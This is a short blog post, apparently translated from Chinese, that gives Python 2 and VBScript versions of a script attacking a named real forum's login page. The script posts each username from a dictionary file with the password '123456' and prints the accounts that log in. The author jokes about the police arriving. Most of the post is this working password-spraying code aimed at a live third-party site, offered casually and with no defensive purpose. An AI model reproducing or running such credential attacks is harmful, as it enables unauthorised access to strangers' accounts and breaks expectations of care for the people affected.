Python code burst

  • 2020-04-02 09:29:39
  • OfStack

Do I really have to crack one? Well, just try my Python level.
Python version
 
#coding: gbk 
import httplib, urllib 

def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find(" Incorrect password ") != -1: 
return False 
elif res.find(" This user does not exist ") != -1: 
return False 
else: 
return True 

for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i 

By the way, I also wrote a VBS version. It seems VBS is faster. What seems to be the problem?
 
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With 

Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response," Incorrect password ") Then 
Check = False 
ElseIf InStr(response," This user does not exist ") Then 
Check = False 
Else 
Check = True 
End If 
End Function 

Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function 

As it turns out, 123456 is an unbeatable password. I wish there were no policemen knocking at the door at night.
Original: http://demon.tw/programming/python-a-little-trial.html

Related articles: